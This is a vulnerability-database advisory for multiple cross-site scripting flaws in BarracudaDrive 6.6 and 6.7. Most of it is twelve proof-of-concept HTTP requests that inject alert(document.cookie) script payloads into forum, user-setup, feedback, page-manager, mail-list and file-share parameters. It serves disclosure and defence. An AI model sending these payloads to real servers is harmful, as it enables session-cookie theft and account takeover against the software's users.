Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

BarracudaDrive多个跨站脚本漏洞

🗓️ 18 Mar 2014 00:00:00Reported by RootType 
seebug
 seebug🔗 www.seebug.org👁 27 Views

BarracudaDrive multiple cross-site scripting vulnerabilities. Versions 6.6 and 6.7 fixed

Code

                                                1) POST /Forum/manage/ForumManager.lsp?nForumId=1
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/Forum/manage/ForumManager.lsp?nForumId=1
   Cookie: z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 170

   Post Data : 
   ==========
   nSortOrder=0&sForumName=<script>alert(document.cookie)</script>&sDescription=<script>alert(document.cookie)</script>&deleteforum=no&nForumId=1

2) POST /Forum/manage/hangman.lsp?nId=1
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/Forum/manage/hangman.lsp?nId=1
   Cookie: z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 135

   Post Data : 
   ===========
   sHint=<script>alert(document.cookie)</script>&sWord=<script>alert(document.cookie)</script>&save=Save&nId=1

3) GET /Forum/manage/hangman.lsp?nId=<script>alert(document.cookie)</script> 
   (With atleast single entry in the table of Word Manager)

4) POST /Forum/manage/ForumManager.lsp?newforum=true
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/Forum/manage/ForumManager.lsp?newforum=true
   Cookie: z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 171

   Post Data : 
   ==========
   nSortOrder=0&sForumName=<script>alert(document.cookie)</script>&sDescription=<script>alert(document.cookie)</script>&deleteforum=no&nForumId=-1

5) POST /rtl/protected/admin/wizard/setuser.lsp
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/rtl/protected/admin/wizard/setuser.lsp
   Cookie: z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 92

   Post Data : 
   ==========
   user=<script>alert(document.cookie)</script>&password=test&path=/c/bdusers

6) POST /feedback.lsp
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/Contact-Us.html
   Cookie: z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 226

   Post Data :
   ==========
   name=<script>alert(document.cookie)</script>&email=<script>alert(document.cookie)</script>&message=test&k1=1393176261&k2=652054939&ck1=JBxYStg2gm3CuvlMdKlxsA==&ck2=JxxfTNM1hm7Nu/YxAAAAAA==

  Effect will on:
  /private/manage/messages.lsp
  /private/manage/messages.lsp?key=1

7) POST /private/manage/PageManager.lsp?parent=0&newpage=true
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/private/manage/PageManager.lsp?parent=0&newpage=true
   Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 158

   Post Data : 
   ==========
   position=0&lname=<script>alert(document.cookie)</script>&url=<script>alert(document.cookie)</script>&deletepage=no&parent=0&key=-1

8) POST /private/manage/PageManager.lsp?parent=0&edit=9
   Host: localhost
   User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
   Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
   Accept-Language: en-US,en;q=0.5
   Accept-Encoding: gzip, deflate
   Referer: http://localhost/private/manage/PageManager.lsp?parent=0&edit=9
   Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06
   Connection: keep-alive
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 174

   Post Data : 
   ===========
   position=0&lname=<script>alert(document.cookie)</script>&url=<script>alert(document.cookie)</script>&cancel=Cancel&deletepage=no&parent=0&key=9

   Effects will be on: /private/manage/PageManager.lsp

9) GET /fs/?cmd=<script>alert(document.cookie)</script>

10) POST /rtl/protected/mail/manage/list.lsp
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/rtl/protected/mail/manage/list.lsp
    Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 99

    Post Data : 
    ===========
    newname=<script>alert(document.cookie)</script>&description=<script>alert(document.cookie)</script>&save=Create+New+List

    Effect will be on '/rtl/protected/mail/manage/lists.lsp'

11) POST /rtl/protected/mail/manage/list.lsp?name=test
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:27.0) Gecko/20100101 Firefox/27.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://localhost/rtl/protected/mail/manage/list.lsp?name=test
    Cookie: tzone=--330; z9ZAqJtI=714dd7c0530d8b06
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 259

    Post Data : 
    ==========
    listkey=2&[email protected]&firstname=<script>alert(document.cookie)</script>&lastname=<script>alert(document.cookie)</script>&id=<script>alert(document.cookie)</script>&addsub=save&name=test&offset=0&save=Save
   
12) GET /fs/<script>alert(document.cookie)</script>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
18 Mar 2014 00:00Current
7.1High risk
Vulners AI Score7.1
barracudadrivecross-site scriptingvulnerabilitiesforummanagerhangmansetuserfeedbackpagemanagerprivate messagesfile sharingsecuritybarracudadrive 6.6barracudadrive 6.7
27